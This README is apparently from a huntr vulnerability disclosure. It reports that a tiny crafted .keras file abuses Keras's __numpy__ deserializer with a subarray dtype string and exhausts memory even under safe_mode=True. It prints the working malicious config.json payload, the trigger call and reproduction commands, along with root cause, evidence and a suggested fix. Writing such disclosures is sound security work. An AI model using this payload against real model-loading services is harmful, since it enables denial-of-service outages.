EnigmaConsultant's picture
Upload README.md with huggingface_hub
1cf0589 verified
|
Raw
History Blame Contribute Delete
7.72 kB
metadata
license: apache-2.0
tags:
  - security
  - poc
  - huntr
  - keras
  - deserialization
  - denial-of-service

Uncontrolled memory allocation via attacker-controlled numpy subarray-dtype in the __numpy__ deserializer (reachable under safe_mode=True, .keras native format)

Target: keras (keras-team/keras), PyPI package keras Version tested: keras 3.15.0 (installed release, verified live) Vulnerable file: keras/src/saving/serialization_lib.py (lines 655-656) Class: CWE-789 Memory Allocation with Excessive Size Value / CWE-400 Uncontrolled Resource Consumption (Denial of Service) Impact: Remote/uncontrolled memory allocation and OOM DoS triggered by loading a tiny (~600-byte) crafted .keras file through the fully-default public API β€” keras.saving.load_model(path) with safe_mode=True (the default). No code execution, no safe_mode=False, no lambda required.


Root cause

In deserialize_keras_object, the __numpy__ special case builds a numpy array directly from untrusted config values:

# keras/src/saving/serialization_lib.py  (lines 655-656)
if class_name == "__numpy__":
    return np.array(inner_config["value"], dtype=inner_config["dtype"])

Both inner_config["value"] (a JSON list) and inner_config["dtype"] (a string) come straight from the untrusted config.json inside a .keras zip archive. numpy accepts a subarray dtype string such as "(268435455,)f8", whose per-element itemsize is ~2 GiB (268435455 * 8 = 2,147,483,640 bytes β€” just under numpy's C-int itemsize cap of 2^31-1). Constructing an array from a one-element input list with that dtype produces shape (1, 268435455) and physically commits ~2.15 GB:

np.array([0.0], dtype="(268435455,)f8")  ->  shape (1, 268435455), nbytes 2147483640

Two properties make this a real, default-reachable primitive:

  1. It executes BEFORE the safe_mode gate. The __lambda__ branch that honors safe_mode is at line ~679, after the __numpy__ branch. The __numpy__ case has no size guard and no safe_mode check, so safe_mode=True (the load_model default) provides zero protection here.

  2. Linear N x 2 GB amplification. A .keras config.json whose top-level object is a plain dict with no class_name/config keys causes deserialize_keras_object to recurse into every value (the dict-walking branch, lines ~631-637). Each key holding a __numpy__ node builds and retains its own ~2 GB array, so N keys request ~N x 2 GB simultaneously.

load_model's signature confirms the default-safe path is affected:

# keras/src/saving/saving_api.py:126
def load_model(filepath, custom_objects=None, compile=True, safe_mode=True):

Proof of Concept

A 594-byte numpy_bomb.keras archive whose 270-byte config.json is:

{"k0": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
 "k1": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}},
 "k2": {"class_name": "__numpy__", "config": {"value": [0.0], "dtype": "(268435455,)f8"}}}

Loading it via the fully-default public API commits ~6.35 GB before failing:

import keras
keras.saving.load_model("numpy_bomb.keras")   # safe_mode=True, compile=True (defaults)

Scaling the entry count to 12 (a 626-byte bomb12.keras) requests 25 GB and OOMs. Config-bytes β†’ bytes-committed amplification is **24,000x**.

Files in this repo

  • build_poc.py β€” builds the malicious .keras archive for any entry count
  • numpy_bomb.keras (594 B) β€” 3-entry PoC, ~6.35 GB commit
  • bomb12.keras (626 B) β€” 12-entry PoC, ~25 GB request β†’ OOM
  • benign.keras (15,883 B) β€” real Sequential model, negative control
  • direct_deser.py β€” isolates the primitive with explicit safe_mode=True
  • load_poc.py β€” end-to-end default load_model reproduction
  • rlimit_run.py β€” bounded OOM proof + negative control under RLIMIT_AS=2.5 GB
  • np_amp.py, np_dtype.py, mk_benign.py, probe_recur.py β€” supporting scripts

Captured evidence (verbatim, keras 3.15.0)

Primitive, explicit safe_mode=True (direct_deser.py):

keras 3.15.0 safe_mode default = True
rss before MB: 206.2
returned type: <class 'numpy.ndarray'>  nbytes: 2147483640
rss after MB: 2254.2

Underlying numpy amplification (re-confirmed live, numpy 2.3.5):

numpy 2.3.5 rss before MB 24.8
shape (1, 268435455) nbytes 2147483640 rss after MB 2072.8

End-to-end default load_model("numpy_bomb.keras") (load_poc.py):

keras 3.15.0
rss before load MB: 206.4
raised: ValueError Expected object to be an instance of `KerasSaveable`, but got {'k0': array([[0., 0., 0., ..., 0., 0., 0.]], shape=(1, 26...
elapsed s: 2.3
rss PEAK after load MB: 6351.8

(The ValueError is raised only after all three ~2 GB arrays have already been materialized β€” the DoS damage is done before the type check fails.)

Bounded OOM proof + negative control (rlimit_run.py, RLIMIT_AS=2.5 GB):

[RLIMIT_AS=2.5GB] loading benign.keras
  RESULT: loaded OK -> Sequential | peak rss MB: 208.7
[RLIMIT_AS=2.5GB] loading bomb12.keras
  RESULT: MemoryError (DoS) | peak rss MB: 206.7

Same loader, same code path: a real 15,883-byte model loads fine under a 2.5 GB address-space cap, while the 626-byte attacker file raises MemoryError.

Vulnerable source, as shipped (extracted from the installed package):

# keras/src/saving/serialization_lib.py:655-656
if class_name == "__numpy__":
    return np.array(inner_config["value"], dtype=inner_config["dtype"])

Confirmed to sit before the __lambda__ / safe_mode gate (line ~679) in the same function.


Reproduction steps

pip install keras==3.15.0 h5py numpy
python build_poc.py 3  numpy_bomb.keras     # 594-byte file
python build_poc.py 12 bomb12.keras         # 626-byte file
python load_poc.py numpy_bomb.keras         # watch RSS peak ~6.35 GB
python rlimit_run.py bomb12.keras           # MemoryError under 2.5 GB cap
python rlimit_run.py benign.keras           # negative control: loads OK

Suggested fix

Guard the __numpy__ (and __tensor__) special case before allocation: reject subarray dtypes, or cap the resulting itemsize/total element count against the length of the input value list, or resolve the dtype and refuse when np.dtype(dtype).itemsize grossly exceeds what a scalar element of value should occupy. The allocation should be bounded by the size of the serialized input, not by an attacker-chosen dtype string.


Dedup / novelty note

This is a distinct primitive and code path from prior Keras findings:

  • Not the .keras config.json large-file / 4 GiB-floor config bomb (that abuses raw JSON payload size; here the malicious config.json is 270 bytes and the amplification is dtype-driven, ~24,000x).
  • Not the legacy H5 model_config layer-dimension / units alloc, nor the Dense build_config shape allocation (those abuse layer shape/units integers; this abuses numpy subarray-dtype itemsize with a 1-element value list, in the native .keras format).
  • Not the assets zip-bomb, multi-optimizer ReDoS, H5 weight-names stack-bomb, or any lambda/safe_mode=False code-execution path. This triggers under the default safe_mode=True with no lambda and no code execution.

No CVE currently covers the __numpy__ subarray-dtype itemsize amplification in serialization_lib.deserialize_keras_object. This report is for coordinated disclosure via huntr.

Ethics: PoC files only allocate/exhaust memory in the loader; they contain no code execution, exfiltration, or persistence.